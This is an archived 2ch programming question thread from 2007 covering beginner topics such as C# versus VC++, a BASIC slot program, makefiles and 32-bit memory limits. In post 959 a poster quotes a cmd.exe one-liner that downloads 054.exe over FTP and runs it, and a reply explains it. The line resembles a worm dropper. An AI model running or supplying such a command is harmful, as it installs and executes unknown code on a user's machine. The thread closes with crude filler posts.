>JPEGでは、画像を固定サイズ(8×8画素)のブロックに分割し、そのブロック単位で、
>離散コサイン変換(DCT: Discrete Cosine Transform) を用いて、
>空間領域から周波数領域へ変換する(この変換自体では情報量は削減されない)。
>変換されたデータは、量子化によって情報量を落としてから、ハフマン符号による
>エントロピー符号化がなされ圧縮が行われる。エントロピー符号化とは、
>データの生起確率の高低に応じて異なる長さの符号を割り当てることで圧縮を行うものである。


日本語でおk
836デフォルトの名無しさん:2007/01/29(月) 05:27:00
お前が無知なだけ
837デフォルトの名無しさん:2007/01/29(月) 08:48:51
>>830
MSDNライブラリのことか?
比較的新しいMSDNライブラリなら、公開されてる

VS6に対応したMSDNライブラリ 2001年10月版が公開されてるかは知らないが
MSDN会員ならサブスクライバダウンロードでダウンロードできるはず
838デフォルトの名無しさん:2007/01/29(月) 09:20:21
VB6はライセンスだか特許だかの関係で一度MSDNから抹殺されたけど復活したの?
839デフォルトの名無しさん:2007/01/29(月) 09:24:18
それはVJ
840デフォルトの名無しさん:2007/01/29(月) 09:25:23
>>839
VB6もだが。
841デフォルトの名無しさん:2007/01/29(月) 09:34:10
MSDNのサイトは旧バージョンの情報は消されていく
VC6もほとんど消された
英語のサイトになら残ってる可能性はある。
842デフォルトの名無しさん:2007/01/29(月) 09:39:33
は?
843デフォルトの名無しさん:2007/01/29(月) 12:10:45
VB6のドキュメントは英語の方にはあるな
844デフォルトの名無しさん:2007/01/29(月) 12:12:14
>>831
変換だけならlibjpegとかの画像フォーマット扱うライブラリのドキュメント読めばおk
845デフォルトの名無しさん:2007/01/29(月) 12:50:42
>>838-840
日本語版 Visual Basic 6.0 提供再開に関するご案内
http://www.microsoft.com/japan/msdn/subscriptions/topics/VB6.aspx
846デフォルトの名無しさん:2007/01/29(月) 16:27:14
汎用の数値計算ライブラリを1つ覚えたいんですが
LINPACK,LAPACK++,TNT,BOOSTのuBlasでは
どれを覚えるのが良いと思いますか
847デフォルトの名無しさん:2007/01/29(月) 16:41:52
LZHファイルを解凍するオススメソフトを教えてください
848デフォルトの名無しさん:2007/01/29(月) 16:45:50
>>847
板違い
849デフォルトの名無しさん:2007/01/29(月) 21:45:06
>>847
LHA32.EXE Ver2.67.00
850デフォルトの名無しさん:2007/01/29(月) 22:09:11
国内にはコミニティが無いようですのでVxWorksスレを建てますた。
★★ VxWorks応用プログラミング ★★
http://pc10.2ch.net/test/read.cgi/tech/1169949100/l50
ご歓談願いますw
851デフォルトの名無しさん:2007/01/29(月) 22:23:46
852デフォルトの名無しさん:2007/01/29(月) 22:49:33
^
をキーボードのどれを叩いたら出せるのか教えてくれ。
どうやっても出てこない!!!!
853デフォルトの名無しさん:2007/01/29(月) 22:51:50
>>852
^って印字されてるキーを押せ。
854デフォルトの名無しさん:2007/01/29(月) 22:53:58
>>852
つPC初心者板
855デフォルトの名無しさん:2007/01/30(火) 08:00:05
>849
ム板的には dll じゃまいか?
856デフォルトの名無しさん:2007/01/30(火) 08:22:51
プログラム板だと間違えられる可能性が高い
本来ならプログラミングかプログラム開発だからな
857デフォルトの名無しさん:2007/01/30(火) 08:29:38
>>856
式次第、進行の相談はこの板では扱ってないのけ?
858デフォルトの名無しさん:2007/01/30(火) 08:51:25
LHaplus
859デフォルトの名無しさん:2007/01/30(火) 11:50:46
>>853
キーボード入力をトラップするフィルタドライバを書くといいよ
初心者でも3年あれば十分作れる
860859:2007/01/31(水) 12:49:33
アンカー指定ミス
>853ではなく>852
861デフォルトの名無しさん:2007/01/31(水) 14:22:16
いや別にネタを一日遅れでアンカ修正しなくてもw
862デフォルトの名無しさん:2007/01/31(水) 20:18:12
しかもつまんないネタだったしな
863デフォルトの名無しさん:2007/01/31(水) 20:28:59
質問です。
クラス、STLをちょこちょこ使えるレベルの学生プログラマーです。
いままでコンソールアプリしか作った経験が無いのですが、
GUIを備えたWindowsアプリの作成に挑戦してみようと思っていまして、
習得対象のツールとしては、VC++またはVC#を考えています。
ところが、双方のデメリットとして、VC++はMFCの習得が困難であること、VC#は.NETに依存することを聞きまして、
どちらを習得したほうがよいものか計りかねています。
そこでお聞きしたいのですが、将来性や環境依存性、開発効率などを考慮した場合、どちらを勉強したほうがよいと思われますか?
なお、プロのプラログラマーになる気はまったくありません。
864デフォルトの名無しさん:2007/01/31(水) 20:37:37
>>863
VC#
865863:2007/01/31(水) 20:39:22
>>864
よろしければ理由を書いていただけると参考になるのですが
866デフォルトの名無しさん:2007/01/31(水) 22:45:47
特に理由がなければC#
867デフォルトの名無しさん:2007/01/31(水) 23:03:08
>>846
ACML
868デフォルトの名無しさん:2007/01/31(水) 23:45:40
VC6
 もうかなり古い製品なので、C++の仕様に準拠してない部分がちらほら

VC8 (Unmanaged)
 VC8 は旧来の C++ と、C++/CLI がコンパイルできる。
 旧来の C++ のほうは .NET に依存しない。けど、要ランタイム。
 C++ としてはもっとも標準準拠してるもののひとつ。

 C++/CLI は今までの C++ とは全くの別言語。
 ECMA に仕様が提出されているので、VB みたいな MS の方言言語では
 ないけどこのまえ標準化委員会から蹴られた。
 .NET Framework に依存。
 既存のネイティブコードライブラリとリンクが出来る。

C#
 C という名前を冠しているけど、どっちかというと Java に近い。
 GUI を作るには、C++/CLI より簡単。
 .NET Frameworkに依存。


おいらは C# で作った GUI と、
C++ で作られたライブラリとをリンクするために
C++/CLI を利用するみたいな感じで使ってる。
869デフォルトの名無しさん:2007/02/01(木) 00:11:32
お金になるようなもの作る気ないなら
C# の方が手軽に出来て、精神的にも良いと思う。

VCは、VCならではの利点はあるけど…めんどくさいことが多い…
870デフォルトの名無しさん:2007/02/01(木) 00:16:30
もしかしてこれ書いた人?んな訳ないか
ttp://www.atmarkit.co.jp/fdotnet/special/vcppinvista01/vcppinvista01_01.html
871デフォルトの名無しさん:2007/02/01(木) 01:07:30
ちがうな。

つか、デストラクタとファイナライザの違いがよくわからん・・・。
872デフォルトの名無しさん:2007/02/01(木) 01:55:11
メッセージを1000件/秒で処理したいのですが、その場合に最適な言語はやはりC,C++ でしょうか?
(アセンブラはのぞく)
873デフォルトの名無しさん:2007/02/01(木) 02:16:11
COBOL
874デフォルトの名無しさん:2007/02/01(木) 02:33:39
日本語

より高くて性能のいいハード・ソフト・その他の環境を買ってもらうため
875デフォルトの名無しさん:2007/02/01(木) 02:38:11
プライスレス
876デフォルトの名無しさん:2007/02/01(木) 02:43:18
>872
何のメッセージをどう処理したいのだ
877デフォルトの名無しさん:2007/02/01(木) 02:49:02
I LOVE YOU
878デフォルトの名無しさん:2007/02/01(木) 02:58:46
>876
障害メッセージで同じものがたくさん出てくるので、それをパターンごとに分類して、
端末上に表示する数を減らしたいのです。

879デフォルトの名無しさん:2007/02/01(木) 08:18:40
メッセージはテキストファイルなのか、
被監視機器から何らかのプロトコルで送られてくるのか
通信プロトコルのプログラミングもするのか
端末はメッセージを処理する機器と同一か
OSは何か
880デフォルトの名無しさん:2007/02/01(木) 09:27:47
愛は実在するのか
881デフォルトの名無しさん:2007/02/01(木) 09:54:00
概ね
882デフォルトの名無しさん:2007/02/01(木) 10:09:45
イルクーツクの空は?
883デフォルトの名無しさん:2007/02/01(木) 10:43:36
それなりに
884デフォルトの名無しさん:2007/02/01(木) 10:49:42
>>882
暖冬とされているロシアだったが、気温は平年並に。
降雪量は少ない模様。
885デフォルトの名無しさん:2007/02/01(木) 11:50:45
Javascriptとか、それらを使ったライブラリの話とかのスレが見つからないのですが、
板違いですか? それとも見落とし?

立てたらウザいですか?
886デフォルトの名無しさん:2007/02/01(木) 12:02:18
http://pc10.2ch.net/tech/
この板はプログラムを作る人のための板です。

プログラム・ソフトの使い方は PC 初心者板やソフトウェア板へ。
ウイルス、ハッキング・クラッキングを求めるような発言は禁止です。
Javascript は Web 制作板、CGI は Web プログラミング板へ。 ←←←←←←←←←←←←←←←←
業界談義、愚痴はプログラマ板へどうぞ。
ゲーム関係の話題はゲーム製作板へどうぞ。
ネタ、板とは関係の無い話題はご遠慮ください。
887デフォルトの名無しさん:2007/02/01(木) 14:55:55
>>885
Web制作としてのJavaScriptなら >886 の通り。
Windows Scripting Host なら WSH で探すべし。
もっと言語仕様の根本的なところに突っ込むなら
JavaScript は ECMA Script の実装の一つなので ECMA で探す。
888デフォルトの名無しさん:2007/02/01(木) 16:29:34
〇〇->××の
"->"ってどういう意味?
889デフォルトの名無しさん:2007/02/01(木) 16:35:31
>>888
→を半角で表現したもの

もしくは、C/C++で構造体/クラスのポインタからメンバにアクセスする演算子
890デフォルトの名無しさん:2007/02/01(木) 16:36:13
>>888
ポインタ演算子
891デフォルトの名無しさん:2007/02/01(木) 16:51:36
>>889 890
ありがとう
892846:2007/02/01(木) 17:43:17
>>867
ありがとう、調べてみます
893デフォルトの名無しさん:2007/02/01(木) 17:50:48
>>890
あろー
894デフォルトの名無しさん:2007/02/01(木) 18:00:00
あろーわーく
895デフォルトの名無しさん:2007/02/01(木) 18:05:25 BE:245011272-2BP(11)
指定 を和英辞書で引くと appoint や specify 等の英単語が出てきますが、
関数の引数で例えばファイル名やサイズを「指定する」、
という意味ではどの単語を使うべきなのでしょうか。
896デフォルトの名無しさん:2007/02/01(木) 18:13:24
>>895
クラス名・変数名に迷ったら書き込むスレ。Part9
http://pc10.2ch.net/test/read.cgi/tech/1168356029/
897デフォルトの名無しさん:2007/02/01(木) 18:32:36
>895
そういうのは各言語のリファレンスマニュアル(英語)が参考になる。
俺がよく見かけるのは specify, specified だな
898えいじろう:2007/02/01(木) 18:41:29
〜に接続するコンピュータを指定する
specify a computer to connect to
〜のファイルを指定する
specify the files for
〜のフォーマットを指定する
specify the format of
〜の開始位置を指定する
specify a starting location for
〜の長さ属性を指定する
specify the length attribute of
〜をインストールするフォルダを指定する
specify a folder in which to install
〜用にユーザー名やパスワードを指定する
specify a user name and password for
パラメータを指定する
specify parameters
フォントのサイズを指定する
specify the font size
フォントの色を指定する
specify the font color
ネットマスクを指定する
assign netmasks
ネットワーク上のそれぞれのマシーンに固有のIPアドレスを指定する
assign unique IP addresses to each machine on the network
ファイルにパスワードを指定する
assign a password to a file
899デフォルトの名無しさん:2007/02/01(木) 19:13:08
普通の辞書引いて出てきたのが最適なのかどうか
900デフォルトの名無しさん:2007/02/01(木) 19:27:19
馬鹿には教えるだけ無駄ということだ
901デフォルトの名無しさん:2007/02/01(木) 21:16:18
>>871
C++デストラクタは、実行されるタイミングがはっきりしている。
.NET Frameworkのファイナライザ(C#デストラクタ)はガベージコレクションとの絡みで実行されるタイミングがはっきりしない。
902デフォルトの名無しさん:2007/02/01(木) 22:56:00
>>886
WebPorgとWeb製作 が別だという事を知りませんでした・・orz

Ajaxのライブラリとかって、微妙な位置づけなんですね。
適当に既存スレを漁ってみます。

どうもでした。

903デフォルトの名無しさん:2007/02/01(木) 22:57:17
ttp://dual.inxzone.net/HyperOlly/
このサイトにあるGR、DEにウィルスは含まれていますか
904デフォルトの名無しさん:2007/02/01(木) 23:54:58
>>897
>>898
解答ありがとうございます

今rubyのマニュアルを見てみたところ、ファイルを開くコードの解説に
You can also optionally specify file permissions when creating a file
とありました。
やはりこういうときはspecifyのほうを使うべきみたいなのでそれにならうことにします。

assignというのは 指定する といっても 割り当てる のような意味で使われてる気がします
ICやコネクタのピンアサインという言葉もありますし・・・
905デフォルトの名無しさん:2007/02/02(金) 10:15:23
>>902
当初、javascriptのあまりにも初心者的でHTMLな質問が多発したから
Web製作に追い出されたw
906デフォルトの名無しさん:2007/02/03(土) 22:02:48
あえてageて書いてみる。

まずおれの状況から

・商社系のでかいSier
・入社5年目
・あるシステム(Aとする)の運用と開発を入社から4年間担当し続けている。
・今年から別のBシステムの開発を担当している(現在かなりのデスマ中)

んで、Aシステムの結構大きい開発案件が今進んでるんだが
AのPLがうんこで、Aの1サブシステムの開発をすべて新人に推しつけた。
AシステムのPMは、おれがお世話になってる俺の直属の上司。

設計書とか一応前任者としてチェック・アドバイスとかしたんだけど
もう、やばいとかのレベルじゃない。超うんこ。

んで、その新人とうちの課長さんはAシステムの件で連日徹夜状態で、死にそうな状態。

みんなに相談したいのは、おれは
イ)  Aシステムのことは見なかったことにして、Bの開発に従事。
ロ) Aシステムの火消しを死ぬ気で手伝う。

どっちがいいんだろうか、ということ。
今の課長が死んでしまうのも辛いが、自分の生活も守りたいという間で
心が揺れています・・・・。
907デフォルトの名無しさん:2007/02/03(土) 22:06:31
マ板池
908デフォルトの名無しさん:2007/02/03(土) 22:17:09
>>907
ごめん、俺も今気づいた。
マ板逝きます。
909デフォルトの名無しさん:2007/02/03(土) 23:41:39
WinXPのスクリーンセーバーを自作したいのですが、開発環境は
何が最適でしょうか?
できれば安価にすましたいのですが。

Visual BASIC が最適?
910デフォルトの名無しさん:2007/02/03(土) 23:48:35
何でもいいよ。
*.exeを*.scrとリネームするだけだから。
911デフォルトの名無しさん:2007/02/04(日) 00:23:30
>>910
ありがとうございました。
912デフォルトの名無しさん:2007/02/04(日) 04:54:30
嘘を嘘と見抜け
913デフォルトの名無しさん:2007/02/04(日) 04:56:32
誰に言ってんの
914デフォルトの名無しさん:2007/02/04(日) 05:19:02
プラグインのメリットって?
915デフォルトの名無しさん:2007/02/04(日) 05:55:20
for(;P("\n"),R-;P("|"))for(e=C;e-;P("_"+(*u++/8)%2))P("| "+(*u/4)%2);
これってどう読むんですか?
916デフォルトの名無しさん:2007/02/04(日) 09:13:23
>>910
決して間違ってはいないが
ちょっとそれは違うぞ
917909:2007/02/04(日) 09:36:04
それくらい分かってるがな
918デフォルトの名無しさん:2007/02/04(日) 09:39:17
\___________/
         ∨
           ___                _
       / ____ヽ           /  ̄   ̄ \
       |  | /, −、, -、l           /、          ヽ 
       | _| -|○ | ○||         |・ |―-、       |
   , ―-、 (6  _ー っ-´、}         q -´ 二 ヽ      |
   | -⊂) \ ヽ_  ̄ ̄ノノ          ノ_ ー  |     |
    | ̄ ̄|/ (_ ∪ ̄ / 、 \        \. ̄`  |      /
    ヽ  ` ,.|     ̄  |  |         O===== |
      `− ´ |       | _|        /          |
919デフォルトの名無しさん:2007/02/04(日) 09:47:43
キーフックでも掛けてたら最高です
本当にありがとうございました
920デフォルトの名無しさん:2007/02/04(日) 12:43:43
BASIC言語のスロットのプログラムなんですけど、

10CLEAR :CLS
20DIM A(2),B(2)
30FOR J=0 TO 2
40A(J)= RND 6-1
50NEXT
60*MAIN
70LOCATE 0,0
80FOR J=0 TO 2
90IF B(J)=0 LET A(J)=(A(J)+1) MOD 6
100PRINT MID$ ("$*\7+&",A(J)+1,1);
110NEXT
120C= ASC INKEY$ -49
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"
160CALL 48381
170GOTO 10

どの命令がどのような意味を持っているのか教えてください。
921デフォルトの名無しさん:2007/02/04(日) 12:46:57
まさか全部分からないとでも・・・
922デフォルトの名無しさん:2007/02/04(日) 12:51:12
>>921
本当に初心者なんで申し訳ないんですけど、
行番号で言うと
10,20,70,160,170は分かります。それ以外はどのような意味を持っているのでしょうか?
教えていただけたらありがたいです。
923デフォルトの名無しさん:2007/02/04(日) 14:14:23
>>920 >>922
命令の意味がわからないので、あれば、そのBASICのマニュアルを見ればよろしい。
あと、なにBASICなの?それ見ると、N88Basicっぽいが。

後、こっちで聞いたほうがいいまお。

BASICの宿題はお前にまかせた
http://pc10.2ch.net/test/read.cgi/tech/1136788500/
924デフォルトの名無しさん:2007/02/04(日) 15:37:49
↓みたいなアクセス形態は三層クライアントって呼ばれますかね?

ユーザ→HTML・JSP→サーブレット・豆→DB・データ鯖
925デフォルトの名無しさん:2007/02/04(日) 16:24:46
>>923
SHARP製のポケコンのBASICです。
説明書見たんですが、
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"

やっぱりここの意味が分かりません。教えていただけませんか。
926デフォルトの名無しさん:2007/02/04(日) 16:46:54
>>925
おのBASICの仕様をしらないのだが、適当に予想すると

IF文は条件分岐、
LETは、変数代入
GOTOは、実行位置の移動
PRINTは、画面に、文字列を表示
ANDは、○○かつ、という条件演算子

だと思うのだが、
どこがわからない?
927デフォルトの名無しさん:2007/02/04(日) 17:05:56

10CLEAR :CLS
20DIM A(2),B(2)
30FOR J=0 TO 2
40A(J)= RND 6-1
50NEXT
60*MAIN
70LOCATE 0,0
80FOR J=0 TO 2
90IF B(J)=0 LET A(J)=(A(J)+1) MOD 6
100PRINT MID$ ("$*\7+&",A(J)+1,1);
110NEXT
120C= ASC INKEY$ -49
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"
160CALL 48381
170GOTO 10

>>926
これとあわせて見ていただきたいのですが、IFなどの意味は分かるんです。
ただ、
130IF C>-1 AND C<3 IF B(C)=0 LET D=D+1,B(C)=1
140IF D<3 GOTO *MAIN
150IF A(0)=A(1) AND A(1)=A(2) PRINT " GOOD"

のようにC>-1などがプログラム上でどのような意味を持っているのか分からないんです。
928デフォルトの名無しさん:2007/02/04(日) 17:15:44
>>926
動物にエサを与えないでください
かわいそうと思ってもみんなが迷惑します
929デフォルトの名無しさん:2007/02/04(日) 17:23:45
>>927
130と140でキーボード入力0、1、2のみ1回ずつしか受け付けないようにしている。
930デフォルトの名無しさん:2007/02/04(日) 17:27:32
>>929
ありがとうございます。
931デフォルトの名無しさん:2007/02/04(日) 17:44:37
makefile のことで質問です。

# Makefile

# マクロ定義部
CC = gcc
OBJS = read_wave.o wave_player.o

# 生成規則部
wave_player.res: wave_player.rc resource.h
windres $< -O coff -o $@

wave_player.exe: $(OBJS)
$(CC) -o $@ $(OBJS) -mwindows wave_player.res
.c.o:
$(CC) -c $<

# 依存関係
wave_player.o: wave_player.h
wave_player.o: wave_player.rc
read_wave.o: read_wave.h
wave_player.res: resource.h

このような感じで make を行うと、
リソーススクリプトは生成されるのですが、
実行ファイルの生成が行われません。
また、リソーススクリプトの生成を実行ファイル生成の後ろに持っていくと、
今度は、リソーススクリプトが生成されません。

どのあたりが間違っているでしょうか?
よろしくお願いします。
932デフォルトの名無しさん:2007/02/04(日) 18:19:19
>>931
引き数なしのmakeはMakefileで最初に見つかった生成規則のみを実行します。
933デフォルトの名無しさん:2007/02/04(日) 18:35:59
>>928
質問スレだからそういうな
934デフォルトの名無しさん:2007/02/04(日) 19:13:22
>>932
all: wave_player.res wave_player.exe

なんてのがあったんですね。
どうもありがとうございました。
935デフォルトの名無しさん:2007/02/04(日) 19:55:51
汎用コンポーネントって何?って聞かれたらどう説明すればいいのでしょうか。
936デフォルトの名無しさん:2007/02/04(日) 19:57:28
汎用のコンポーネント
937デフォルトの名無しさん:2007/02/04(日) 20:07:46
>>935
特定の機能を果たす単位で、特に再利用を考えて汎用に開発されたもの。
938デフォルトの名無しさん:2007/02/04(日) 20:10:17
>>937
ありがとうございます!
まさかこんなん聞かれるとは思ってなかったもので・・・本当に助かります。
939デフォルトの名無しさん:2007/02/04(日) 20:12:16
なんか宿題中っぽくてよい
940デフォルトの名無しさん:2007/02/05(月) 02:22:03
>>934
それだと*.rcだけ更新された時とかだとwave_player.exeが更新されないね?

all: wave_player.exe
wave_player.exe: $(OBJS) wave_player.res

とかの方がいいとおもわれ
941デフォルトの名無しさん:2007/02/05(月) 09:59:55
waveOutOpenの質問。
デバイスIDにWAVE_MAPPER指定すると、PCM、ADPCMともにOKですが、
デバイスIDを個別で指定すると、PCMしか通りません。

なぜ?というのと、ADPCMやら再生するのに、何かヒントありませんか?

...とある板に質問したんですが、回答無くて。
942デフォルトの名無しさん:2007/02/05(月) 10:09:11
プログラマって一つ一つの命令を完璧に覚えてるの?
943デフォルトの名無しさん:2007/02/05(月) 10:13:37
一つ一つの命令をすぐに調べられる手段を持っています
944デフォルトの名無しさん:2007/02/05(月) 10:16:48
ある程度の型を持った文法じゃないと役に立たないのがプログラミングだから、
完全に覚える必要は無い。
945デフォルトの名無しさん:2007/02/05(月) 10:33:07
コピペした方が速いし間違いが少ない
946デフォルトの名無しさん:2007/02/05(月) 13:48:52
よく使うのは覚えてるけどたまにしか使わないのはうろ覚えだったり
全く覚えてない命令だってある。
しかし>>943の言うとおり答をすぐに見つけ出す方法は持ってる。
命令を暗記するよりこの方法を身につけることが簡単だし重要。
947デフォルトの名無しさん:2007/02/05(月) 13:50:38
関数と変数って何が違うんだ?
948デフォルトの名無しさん:2007/02/05(月) 14:19:06
全然違うから比較しようがない
949デフォルトの名無しさん:2007/02/05(月) 14:52:56
>>942
つまり、幾つかのアクセス頻度の高い知識は実値で持っていて、
残りはポインタで持っているということ。
950デフォルトの名無しさん:2007/02/05(月) 15:16:01
つまりメニューやらウインドウやらマクロにまとめて繋げてるだけ。
951デフォルトの名無しさん:2007/02/05(月) 15:53:36
>>940
アドバイスありがとうございます。
おかげでメニューバーが欠落せずにすみました。
952デフォルトの名無しさん:2007/02/05(月) 17:26:12
実数で乗数の計算が出来るような数学用dllとか無いでしょうか?
953デフォルトの名無しさん:2007/02/05(月) 18:41:52
多くの環境では数学用dllなどなくても実数で乗算の計算ができます。
特殊な環境なのですか?
954デフォルトの名無しさん:2007/02/05(月) 18:47:52
あ、もしかして一般的な精度の浮動小数点数じゃだめってことでしょうか?
本当の意味での実数を意図しているとしたら、無限大の精度を扱うことに
なりますので、そのようなものは実現し得ません。
955デフォルトの名無しさん:2007/02/05(月) 18:51:41
>>952
普通の浮動小数点数(IEEE754)ではダメということ?
「多倍長」がキーワード。あと「演算」「小数」「ライブラリ」等適当に加えて。
言っておくけど、円周率等を無限の精度で扱うのは不可能ですよ。

累乗の関数名を知りたいだけ?なら、pow()。
956デフォルトの名無しさん:2007/02/06(火) 07:38:03
超初心者です。簡単なフォトレタッチソフトを作りたいのですが
言語は何を覚えれば良いんでしょうか?
また、フォトショはどんな言語を使って出来ているのかわかりますか?
(実際作るのはフォトショレベルよりかなり下です)
よろしくお願いします。
957デフォルトの名無しさん:2007/02/06(火) 08:49:24
Windows版Photoshop 7.0の場合はVC++だからC++
958デフォルトの名無しさん:2007/02/06(火) 18:05:20
なんでDBや開発ツールの類はインストールするマシンのCPUの数で値段が違うんだ?
959デフォルトの名無しさん:2007/02/06(火) 18:32:46
cmd.exe /c del i&echo open 127.0.0.1 11004
> i&echo user 1 1 >> i &echo get 054.exe
>> i &echo quit >> i &ftp -n -s:i &054.exe&del i&exit

これは何をするためのコマンドでしょうか?
960デフォルトの名無しさん:2007/02/06(火) 18:53:46
127.0.0.1 11004からftpで054.exeをDLして実行する
961デフォルトの名無しさん:2007/02/06(火) 19:04:56


32bitOSを使うときは、認識できる「物理メモリ」は4GBまで



とかド素人丸出しの勘違いをしているやつを駆除していこうぜ。






962デフォルトの名無しさん:2007/02/06(火) 19:07:15
893さんにお願いする?
963デフォルトの名無しさん:2007/02/06(火) 19:11:37
あの変な勘違いのモトはどこから来たのか

32bitOSを使おうが、物理メモリがどれだけ扱えるかはOSの範疇じゃないだろ。
メモリコントローラが分離してりゃチップセット、内蔵ならCPUの範疇
マザーボードにどれだけのスロットがあるかにもよるが

32bitだと搭載できる物理メモリの量が4GBまで、とか明らかにおかしい。


扱える仮想メモリが4GBまでだろ。
物理メモリはいくらでも乗せられる。
964デフォルトの名無しさん:2007/02/06(火) 20:33:21
>>963があきらかな勘違い
一般的なOSやCPU、という抽象化したものじゃなく
具体的なOSやCPUで調べってごらん
965デフォルトの名無しさん:2007/02/06(火) 20:46:46
つうか仮想メモリだってやり型次第で4G超は可能だろ
パフォーマンスその他を無視すればだけど
966デフォルトの名無しさん:2007/02/06(火) 20:52:52
PAE以外では無理

967デフォルトの名無しさん:2007/02/06(火) 20:57:15
ファミコンに4GBの物理メモリを乗っけてすべてのアドレスにアクセスする方法は簡単ですか?
968デフォルトの名無しさん:2007/02/06(火) 20:58:50
6502がそれだけのアドレスバス持ってりゃ楽
969デフォルトの名無しさん:2007/02/06(火) 21:54:01
ASP.NETをWindows2000Serverで使用するのですが
何か問題はあるでしょうか?
サービスパックって必要でしょうか?
教えてください
970デフォルトの名無しさん:2007/02/06(火) 23:12:14
ファイル名
ABCDEFG.bmp
ABCHIJK.bmp
というのがあるとしてファイル名をABCとかをZZZとかに変更したいです。
フォルダ内の拡張子・文字列指定で行いたいんですがバッチで無理なので
EXEを作ろうとしてるんですがどういう方法がありますか?
971デフォルトの名無しさん:2007/02/06(火) 23:19:08
作らなくてもそのへんにあるだろ
972デフォルトの名無しさん:2007/02/06(火) 23:19:30
>>970
いまいち、どうしたくて何を求めているか飲み込めないんだが。
973デフォルトの名無しさん:2007/02/06(火) 23:28:40
renでできるが。その程度なら。
974デフォルトの名無しさん:2007/02/07(水) 00:26:48
おまえらクラス変数の記述ってどうしてますか?

先頭にアンスコ _hoge
後尾にアンスコ hoge_
なにもつけない hoge
「モジュール変数」という意図でmを付与  mHoge


どんな感じなんでしょ
975デフォルトの名無しさん:2007/02/07(水) 00:47:48
>>974
>なにもつけない hoge

俺はこれ

>先頭にアンスコ _hoge

あと、これは処理系に予約されるからタブーだよ。
976デフォルトの名無しさん:2007/02/07(水) 01:40:56
>>964
CPUはInterlのPentiumおよびその後継が持つPAE(物理アドレス拡張)。
これに対応したOSはWindows 2000以降(ただしエディションによって制限があったり使用不可能だったりする)。
http://www.microsoft.com/whdc/system/platform/server/PAE/PAEdrv.mspx

誰もやっていないが、x86のセグメントを使って16ビット時代のLarge/Hugeメモリモデルのようなことをやれば、
話の上では32ビットの1アプリケーションからでも直接的に4GiB超のアドレス空間を扱える。
977デフォルトの名無しさん:2007/02/07(水) 03:25:15
>>974
Ruby使いはスコープで頭文字決まるので気にしたことがありません
978デフォルトの名無しさん:2007/02/07(水) 06:51:47
こんな質問で申し訳ないんですけど
コマンドプロンプトを開いたとき、C:\Documents and settings\ユーザー名>
になっているのを任意の場所に変えたいのですが、どうしたらいいのでしょうか?
979デフォルトの名無しさん:2007/02/07(水) 07:18:29
>>978
コマンドプロンプトを開くショートカットの作業フォルダを変えたらどうでしょう?
980デフォルトの名無しさん:2007/02/07(水) 13:57:06
>>978
PowerToysのCommandPromptHere
981デフォルトの名無しさん:2007/02/07(水) 14:00:37
何もPowerToysなんか使わなくても
982デフォルトの名無しさん:2007/02/07(水) 14:18:16
別にコピペでもいいが、PowerToysのあれ使うとやめられん
983デフォルトの名無しさん:2007/02/07(水) 14:32:15
エクスプローラの
ツールフ-ォルダオプション-ファイルの種類
からフォルダを選択してごにょごにょすればPowerToysのあれと同じ効果が得られるって言いたいんだと思う。

おれはフォルダドロップ派。設定しても結局ドロップですませてるからorz
984デフォルトの名無しさん:2007/02/07(水) 14:42:39
全然違うし
お前大丈夫か?
985デフォルトの名無しさん:2007/02/07(水) 15:31:30
I'm fine, thank you. and you?
986デフォルトの名無しさん:2007/02/07(水) 18:29:32
8ビット整数と16ビット整数は
8ビットの計算ならどっちが早い?
987デフォルトの名無しさん:2007/02/07(水) 18:38:12
実測しろボケ
988デフォルトの名無しさん:2007/02/07(水) 18:46:43
同じだろ
989デフォルトの名無しさん:2007/02/07(水) 18:48:12
キチガイは無視したほうがいい
990デフォルトの名無しさん:2007/02/07(水) 19:53:50
990
991デフォルトの名無しさん:2007/02/07(水) 20:02:15
さっさと次スレ立てろ
992デフォルトの名無しさん:2007/02/07(水) 20:04:19
すれ立てるまでもない質問はここで 第81刷
http://pc10.2ch.net/test/read.cgi/tech/1170846176/l50
993デフォルトの名無しさん:2007/02/07(水) 20:10:59
                                       
         _,rr-―''''¨゙゙゙ ̄ ̄ ̄ ̄ ̄`゙゙゙゙゙゙゙゙''ヘi、、   ,,,,-―---、
      ,r‐'″    ._,,,,             `'lri,!'''″     ゙l
     .,,,″    ,,r'"`  ゙゙l,               ゙ヘ,     |
     !アr,   .l°.ェ'ニ,コ .|                ゚ヘ、    |
       `'i、  .く_,、vr''″ .,                  ゙'i、 .,,/
         ゙X、        ト                   ゙!,゛    .,,r‐--、
   ,、_,、 .,,,,r‐'″        |                    } .,,r‐'^’   .|゜
   め゙゚“゙゙~゛           |                     ̄`     .,l゙
   |                ,i´                       ,l゙
   ゙!、                ,i´                       ,ノ
   .'┐              ,,-°  '=,,                   /`
    .゚!,          ,,,,r'″     ゙┐                 ,l゙
      ゚'r,    .''''"`         │    .,,-''i、          /
       `''x,      .|        |  .,,r'"  .゙┐           ,i´
         ~'ヘi,,,   |           |_,r・″    'ヘ,、         l゙
           `¬--|i,,,,,,,,,,,,,,,,v、r',广        ゙ヘ=@   ,l゙
                `゙'ーぃ--r'″           `'―、,,,,/
994デフォルトの名無しさん:2007/02/07(水) 20:39:53
>>974

先頭アンスコは外部に公開するメンバ用内部変数に使う。
995デフォルトの名無しさん:2007/02/07(水) 21:31:16
5
996デフォルトの名無しさん:2007/02/07(水) 21:32:50
4
997デフォルトの名無しさん:2007/02/07(水) 21:38:44
うんこ
998デフォルトの名無しさん:2007/02/07(水) 21:39:38
ちんこ
999デフォルトの名無しさん:2007/02/07(水) 21:40:57
まんこ
1000デフォルトの名無しさん:2007/02/07(水) 21:41:45
1000こ
10011001
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。